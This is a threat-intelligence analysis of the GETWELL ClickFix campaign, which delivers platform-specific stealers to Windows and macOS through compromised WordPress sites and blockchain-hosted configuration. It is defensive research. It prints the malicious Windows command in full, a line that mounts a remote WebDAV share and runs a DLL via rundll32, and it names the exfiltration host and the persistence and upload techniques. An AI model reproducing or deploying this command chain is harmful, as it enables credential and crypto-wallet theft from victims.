Inside GETWELL: One ClickFix Campaign, Two Platform-Specific Stealers

The story in one view

1. A verification prompt hid a cross-platform theft operation

To the person in front of the browser, the campaign presented a small problem: complete a verification step. Behind that instruction sat an operation prepared to recognize the platform, move execution into the operating system and deploy a stealer built for that environment.

The Windows investigation began with a ClickFix command that mounted a remote WebDAV share and invoked goog.ct through rundll32. Manual runtime analysis crossed VMProtect callbacks and exception-heavy dispatcher code, reconstructed a final payload, intercepted plaintext HTTP before TLS, and recovered the outbound ZIP archive from memory.

The macOS investigation exposed a different local route: Bash and AppleScript, LaunchAgent persistence, dynamically retrieved modules and an AMOS-derived stealer. Shared compromised-WordPress delivery, blockchain-backed configuration, dynamic infrastructure and the GETWELL naming thread connect the branches at campaign level.

One campaign, two payload families

2. Why the Windows and macOS cases belong together

GETWELL identifies the operation. The Windows branch exposed GETWELLV2 inside its beacon and tasking logic. The macOS branch used GETWELL with a platform-native toolchain.

The connection rests on more than similar branding. Both branches begin from compromised WordPress content and a ClickFix-style human handoff. Both externalize mutable configuration into smart contracts and public RPC services. Both use dynamically resolved infrastructure, modular collection and tracked uploads. Their local implementation changes because Windows and macOS offer different trusted utilities, persistence mechanisms and credential stores.

The human remains the bridge

3. The dangerous moment happens after the browser

The lure presents shell execution as a routine verification step. The page supplies a command and asks the visitor to carry it across the browser boundary.

From that point, the branches diverge. Windows receives a command chain that mounts WebDAV and calls rundll32. macOS receives shell and AppleScript logic that can establish persistence and retrieve modules. The social-engineering idea stays stable while the execution grammar changes.

Windows branch: GETWELLV2

4. WebDAV turned a copied command into remote DLL execution

for %x in (pushd) do @%x \\dpcrc[.]sm188akurat[.]sbs@SSL\<GUID> & rundll32 goog.ct,#1

pushd caused Windows to resolve and mount the remote WebDAV location. rundll32 then loaded goog.ct and called ordinal #1, exported as PrintAt at RVA 0xB53C. The protected DLL decrypted and built the final stealer in memory.

Earlier WebDAV loader sample

An earlier sample exposed the same WebDAV and BNB Smart Chain delivery design through pf_webclient.dll. rundll32 called its moor export at ordinal 1. The loader allocated 0x767AD bytes of executable memory and copied a 485,293-byte high-entropy blob into that region. Recovered JavaScript queried contract 0xf4a32588b50a59a82fbA148d436081A48d80832A through BNB Smart Chain Testnet JSON-RPC.

The outbound archive supplied the strongest proof

5. Recovering the final payload and its exfiltration package

Static inspection identified a modern VMProtect layer, high-entropy regions, TLS callbacks and sparse clean imports. Runtime analysis crossed the protection layer, identified reconstructed memory, recovered the final executable and intercepted network buffers immediately before encryption.

The plaintext request showed POST traffic to rept[.]seescanf[.]cc with Content-Type: application/octet-stream. A later request declared Content-Length: 11481152. The corresponding memory buffer began with PK\x03\x04, allowing the 11,481,152-byte upload buffer to be saved and opened as a ZIP archive.

The recovered archive contained Chromium wallet-extension storage, including MetaMask-related LevelDB, IndexedDB and LocalStorage data prepared for exfiltration.

macOS branch: GETWELL

6. The same operation changed tools, persistence and targets

The macOS branch used a Bash bootstrap and AppleScript for local execution, created LaunchAgent persistence, and retrieved a modular set of components identified as bmodule, smodule, lmodule, ledger and shell.

Recovered capability coverage included browser credentials and cookies, wallet extensions, Keychain material, Telegram Desktop data, Apple Notes, files from Desktop and Documents, and system profiling. Collection was packaged with ditto and uploaded with multipart curl.

The resilient layer sat above both payloads

7. Blockchain-backed orchestration connected the branches

GETWELL externalized configuration into smart contracts. Both branches retrieved current domains, backends and module information from BNB Smart Chain Testnet or Polygon.

Recovered conclusions

8. Reversing conclusions

Behavioral coverage

9. TTP and MITRE ATT&CK mapping

Detect the execution chain

10. Detection and hunting opportunities

The strongest analytic unit is the sequence: compromised web content → copy-and-paste execution → native shell → platform-specific persistence or WebDAV → credential collection → staged upload.

Defanged for public use

11. Indicators of compromise

The public IOC set covers campaign infrastructure, contracts, file hashes, execution strings and network behavior.